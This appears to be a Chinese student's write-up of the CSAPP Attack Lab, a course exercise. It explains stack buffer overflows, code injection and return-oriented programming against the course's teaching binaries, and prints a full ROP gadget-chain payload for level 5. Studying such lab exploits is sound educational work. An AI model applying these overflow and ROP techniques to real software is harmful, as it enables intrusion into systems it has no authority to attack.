CSAPP:ATTACK LAB
参考资料:https://zhuanlan.zhihu.com/p/36807783
参考资料:https://blog.csdn.net/lijun538/article/details/50682387
Level 1
第一题挺简单的,要求getbuf函数不返回到原本的Test函数,而是返回到指定的touch1函数。
我们先 objdump -d 看一下 ctarget的反汇编码


getbuf留了40个字节给输入,我们先填40个字节的0,然后再填入 touch1 的入口地址(这样可以覆盖caller栈帧中的返回地址)

ubuntu是小端存储,所以我们必须把低位先放入栈中,这样level 1就完成了

Level 2
这一题也不难,我们先明确一个知识点:call 会 push 返回地址,并且allocate stack frame, ret会release stack frame,然后栈顶pop出一个返回地址跳转过去。
答案如下

思路是修改返回地址为getbuf的栈地址,这样我们输入的二进制码就可以被执行,我们输入的二进制码包括 mov $0x59b997fa, %rdi 和 ret指令,这时ret 就会返回到 第七行的地址了,因为第六行已经pop出去了。第七行地址就是touch2地址。

栈地址%rsp可以gdb打印如上。
Level 3
这题和Level 2差不多。

还是先跳转到注入代码,注入代码内容有
movq $0x5561dca8,%rdi
pushq $0x004018fa
retq
$0x5561dca8,是栈地址加0x30(48),也是存放ascii 串的地方,因为 ascii 串放在 test的stack frame里,所以并不用担心被hexmatch函数侵占。
Level 4
这题也不难,答案如下

我们要利用现成代码把cookie推到%rdi中,这里的做法是先把cookie推到%rax中,然后 movq %rax, %edi
popq %rax ret字节码是58 c3,起始地址为0x4019ab,movq %rax, %edi ret的字节码是48 89 c7 90 c3 起始地址是0x4019c5
所以我们先往栈中推进第一个起始地址,然后放一个cookie,然后是第二个起始地址,最后是touch3的地址。
Level 5
这题比较麻烦,我们要想办法把栈中的cookie送到寄存器
先放答案(参考了别人)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00 #movq %rsp, %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
ab 19 40 00 00 00 00 00 #popq %rax
48 00 00 00 00 00 00 00 #偏移值
dd 19 40 00 00 00 00 00 #mov %eax, %edx
34 1a 40 00 00 00 00 00 #mov %edx, %ecx
13 1a 40 00 00 00 00 00 #mov %ecx, %esi
d6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
fa 18 40 00 00 00 00 00 #touch3
35 39 62 39 39 37 66 61 #cookie
思路是把 %rsp放到 %rdi,偏移值放到%rsi中之后再用lea (%rdi,%rsi,1),%rax把cookie地址放到%rax,最后用movq %rax到%rdi完成操作。
注意 栈地址必须用64位寄存器存储,偏移值可以用32位,所以以上寄存器的使用不能颠倒。

浙公网安备 33010602011771号